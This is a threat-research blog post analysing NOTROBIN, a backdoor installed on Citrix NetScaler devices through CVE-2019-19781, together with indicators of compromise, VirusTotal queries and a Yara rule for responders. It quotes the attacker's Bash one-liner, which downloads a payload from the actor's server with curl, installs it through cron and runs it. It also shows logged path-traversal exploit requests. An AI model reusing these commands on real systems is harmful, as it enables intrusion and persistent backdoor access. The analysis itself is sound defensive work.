# Vigilante Deploying Mitigation for Citrix NetScaler Vulnerability While Maintaining Backdoor

fireeye.com/blog/threat-research/2020/01/vigilante-deploying-mitigation-for-citrix-netscaler-vulnerability-while-maintaining-backdoor.html

Threat Research

William Ballenthin, Josh Madeley

Jan 15, 2020

8 mins read

Incident Response

Malware

Threat Research

As noted in Rough Patch: I Promise It'll Be 200 OK, our FireEye Mandiant Incident Response team has been hard at work responding to intrusions stemming from the exploitation of CVE-2019-19781. After analyzing dozens of successful exploitation attempts against Citrix ADCs that did not have the Citrix mitigation steps implemented, we’ve recognized multiple groups of post-exploitation activity. Within these, something caught our eye: one particular threat actor that’s been deploying a previously-unseen payload for which we’ve created the code family NOTROBIN.

Upon gaining access to a vulnerable NetScaler device, this actor cleans up known malware and deploys NOTROBIN to block subsequent exploitation attempts! But all is not as it seems, as NOTROBIN maintains backdoor access for those who know a secret passphrase. FireEye believes that this actor may be quietly collecting access to NetScaler devices for a subsequent campaign.

### Initial Compromise

This actor exploits NetScaler devices using CVE-2019-19781 to execute shell commands on the compromised device. They issue an HTTP POST request from a Tor exit node to transmit the payload to the vulnerable newbm.pl CGI script. For example, Figure 1 shows a web server access log entry recording exploitation:

```
127.0.0.2 - - "POST
/vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1" 304 - "-" "curl/7.67.0"
```

Figure 1: Web log showing exploitation

Unlike other actors, this actor appears to exploit devices using a single HTTP POST request that results in an HTTP 304 response—there is no observed HTTP GET to invoke staged commands. Unfortunately, we haven’t recovered the POST body contents to see how it works.  In any case, exploitation causes the Bash one liner shown in Figure 2 to run on the compromised system:

```
pkill -9 netscalerd; rm /var/tmp/netscalerd; mkdir /tmp/.init; curl -k
hxxps://95.179.163[.]186/wp-
content/uploads/2018/09/64d4c2d3ee56af4f4ca8171556d50faa -o
/tmp/.init/httpd; chmod 744 /tmp/.init/httpd; echo "* * * * *
/var/nstmp/.nscache/httpd" | crontab -; /tmp/.init/httpd &"
```

Figure 2: Bash exploit payload

This is the same methodology as described in Rough Patch: I Promise It'll Be 200 OK. The effects of this series of commands includes:

1. Kill and delete all running instances of netscalerd—a common process name used for cryptocurrency mining utilities deployed to NetScaler devices.
2. Creates a hidden staging directory /tmp/.init, download NOTROBIN to it, and enable the execute permission.
3. Install /var/nstmp/.nscache/httpd for persistence via the cron daemon. This is the path to which NOTROBIN will copy itself.
4. Manually execute NOTROBIN.

There’s a lot to unpack here. Of note, the actor removes malware known to target NetScaler devices via the CVE-2019-19781 vulnerability. Cryptocurrency miners are generally easy to identify—just look for the process utilizing nearly 100% of the CPU. By uninstalling these unwanted utilities, the actor may hope that administrators overlook an obvious compromise of their NetScaler devices.

The actor uses curl to fetch NOTROBIN from the hosting server with IP address 95.179.163[.]186 that appears to be an abandoned WordPress site. FireEye has identified many payloads hosted on this server, each named after their embedded authentication key. Interestingly, we haven’t seen reuse of the same payload across multiple clients. Compartmenting payloads indicates the actor is exercising operational security.

FireEye has recovered cron syslog entries, such as those shown in Figure 3, that confirm the persistent installation of NOTROBIN. Note that these entries appear just after the initial compromise. This is a robust indicator of compromise to triage NetScaler devices.

```
Jan 12 21:57:00 <cron.info> foo.netscaler /usr/sbin/cron[73531]:
(nobody) CMD (/var/nstmp/.nscache/httpd)
```

Figure 3: cron log entry showing NOTROBIN execution

Now, let’s turn our attention to what NOTROBIN does.

### Analysis of NOTROBIN

NOTROBIN is a utility written in Go 1.10 and compiled to a 64-bit ELF binary for BSD systems. It periodically scans for and deletes files matching filename patterns and content characteristics. The purpose seems to be to block exploitation attempts against the CVE-2019-19781 vulnerability; however, FireEye believes that NOTROBIN provides backdoor access to the compromised system.

When executed, NOTROBIN ensures that it is running from the path /var/nstmp/.nscache/httpd. If not, the utility copies itself to this path, spawns the new copy, and then exits itself. This provides detection cover by migrating the process from /tmp/, a suspicious place for long-running processes to execute, to an apparently NetScaler-related, hidden directory.

Now the fun begins: it spawns two routines that periodically check for and delete exploits.

Every second, NOTROBIN searches the directory /netscaler/portal/scripts/ for entries created within the last 14 days and deletes them, unless the filename or file content contains a hardcoded key (example: 64d4c2d3ee56af4f4ca8171556d50faa). Open source reporting indicates that some actors write scripts into this directory after exploiting CVE-2019-19781. Therefore, we believe that this routine cleans the system of publicly known payloads, such as PersonalBookmark.pl.

Eight times per second, NOTROBIN searches for files with an .xml extension in the directory /netscaler/portal/templates/. This is the directory into which exploits for CVE-2019-19781 write templates containing attacker commands. NOTROBIN deletes files that contain either of the strings block or BLOCK, which likely match potential exploit code, such as that found in the ProjectZeroIndia exploit; however, the utility does not delete files with a filename containing the secret key.

FireEye believes that actors deploy NOTROBIN to block exploitation of the CVE-2019-19781 vulnerability while maintaining backdoor access to compromised NetScaler devices. The mitigation works by deleting staged exploit code found within NetScaler templates before it can be invoked. However, when the actor provides the hardcoded key during subsequent exploitation, NOTROBIN does *not* remove the payload. This lets the actor regain access to the vulnerable device at a later time.

Across multiple investigations, FireEye observed actors deploying NOTROBIN with unique keys. For example, we've recovered nearly 100 keys from different binaries. These look like MD5 hashes, though FireEye has been unsuccessful in recovering any plaintext. Using complex, unique keys makes it difficult for third parties, such as competing attackers or FireEye, to easily scan for NetScaler devices "protected" by NOTROBIN. This actor follows a strong password policy!

Based on strings found within NOTROBIN, the actor appears to inject the key into the Go project using source code files named after the key. Figure 4 and Figure 5 show examples of these filenames.

```
/tmp/b/.tmpl_ci/64d4c2d3ee56af4f4ca8171556d50faa.go
```

Figure 4: Source filename recovered from NOTROBIN sample

```
/root/backup/sources/d474a8de77902851f96a3b7aa2dcbb8e.go
```

Figure 5: Source filename recovered from NOTROBIN sample

We wonder if “tmpl_ci” refers to a Continuous Integration setup that applies source code templating to inject keys and build NOTROBIN variants. We also hope the actor didn’t have to revert to backups after losing the original source!

## Outstanding Questions

NOTROBIN spawns a background routine that listens on UDP port 18634 and receives data; however, it drops the data without inspecting it. You can see this logic in Figure 6. FireEye has not uncovered a purpose for this behavior, though DCSO makes a strong case for this being used as a mutex, as only a single listener can be active on this port.

NOTROBIN logic that drops UDP traffic

Figure 6: NOTROBIN logic that drops UDP traffic

There is also an empty function main.install_cron whose implementation has been removed, so alternatively, perhaps these are vestiges of an early version of NOTROBIN. In any case, a NetScaler device listening on UDP port 18634 is a reliable indicator of compromise. Figure 7 shows an example of listing the open file handles on a compromised NetScaler device, including a port listening on UDP 18634.

File handling listing of compromised NetScaler device

Figure 7: File handling listing of compromised NetScaler device

### NOTROBIN Efficacy

During one engagement, FireEye reviewed forensic evidence of NetScaler exploitation attempts against a single device, both before and after NOTROBIN was deployed by an actor. Prior to January 12, before NOTROBIN was installed, we identified successful attacks from multiple actors. But, across the following three days, more than a dozen exploitation attempts were thwarted by NOTROBIN. In other words, NOTROBIN inoculated the vulnerable device from further compromise. For example, Figure 8 shows a log message that records a failed exploitation attempt.

```
127.0.0.2 - - "GET
/vpn/../vpns/portal/wTyaINaDVPaw8rmh.xml HTTP/1.1" 404 48 "-"
"curl/7.47.0"
```

Figure 8: Web log entry showing a failed exploitation attempt

Note that the application server responded with HTTP 404 (“Not Found”) as this actor attempts to invoke their payload staged in the template wTyaINaDVPaw8rmh.xml. NOTROBIN deleted the malicious template shortly after it was created – and before it could be used by the other actor.

FireEye has not yet identified if the actor has returned to NOTROBIN backdoors.

## Conclusion

FireEye believes that the actor behind NOTROBIN has been opportunistically compromising NetScaler devices, possibly to prepare for an upcoming campaign. They remove other known malware, potentially to avoid detection by administrators that check into their devices after reading Citrix security bulletin CTX267027. NOTROBIN mitigates CVE-2019-19781 on compromised devices but retains a backdoor for an actor with a secret key. While we haven’t seen the actor return, we’re skeptical that they will remain a Robin Hood character protecting the internet from the shadows.

## Indicators of Compromise and Discovery

Table 1 lists indicators that match NOTROBIN variants that FireEye has identified. The domain vilarunners[.]cat is the WordPress site that hosted NOTROBIN payloads. The domain resolved to 95.179.163[.]186 during the time of observed activity. As of January 15, the vilarunners[.]cat domain currently resolves to a new IP address of 80.240.31[.]218.

| IOC Item | Value |
|---|---|
| HTTP URL prefix | hxxps://95[.]179.163.186/wp-content/uploads/2018/09/ |
| Directory | /var/nstmp/.nscache |
| Filename | /var/nstmp/.nscache/httpd |
| Directory | /tmp/.init |
| Filename | /tmp/.init/httpd |

| | |
|---|---|
| Crontab entry | /var/nstmp/.nscache/httpd |
| Listening UDP port | 18634 |
| Remote IP | 95.179.163[.]186 |
| Remote IP | 80.240.31[.]218 |
| Domain | vilarunners[.]cat |

Table 1: Indicators of Compromise

### Discovery on VirusTotal

You can use the following VTI queries to identify NOTROBIN variants on VirusTotal:

- vhash:"73cee1e8e1c3265c8f836516c53ae042"
- vhash:"e57a7713cdf89a2f72c6526549d22987"

Note, the vHash implementation is private, so we’re not able to confirm why this technique works. In practice, the vHashes cover the same variants identified by the Yara rule listed in Figure 9.

```
rule NOTROBIN
{
    meta:
        author = "william.ballenthin@fireeye.com"
        date_created = "2020-01-15"
    strings:
        $func_name_1 = "main.remove_bds"
        $func_name_2 = "main.xrun"
    condition:
        all of them
}
```

Figure 9: Yara rule that matches on NOTROBIN variants

## Recovered Authentication Keys

FireEye has identified nearly 100 hardcoded keys from NOTROBIN variants that the actor could use to re-enter compromised environments. We expect that these strings may be found within subsequent exploitation attempts, either as filenames or payload content. Although we won’t publish them here out of concern for our customers, please reach out if you’re looking for NOTROBIN within your environment and we can provide a list.

## Acknowledgements

Thank you to analysts across FireEye that are currently responding to this activity, including Brandan Schondorfer for collecting and interpreting artifacts, Steven Miller for coordinating analysis, Evan Reese for pivoting across intel leads, Chris Glyer for reviewing technical aspects, Moritz Raabe for reverse engineering NOTROBIN samples, and Ashley Frazer for refining the presentation and conclusions.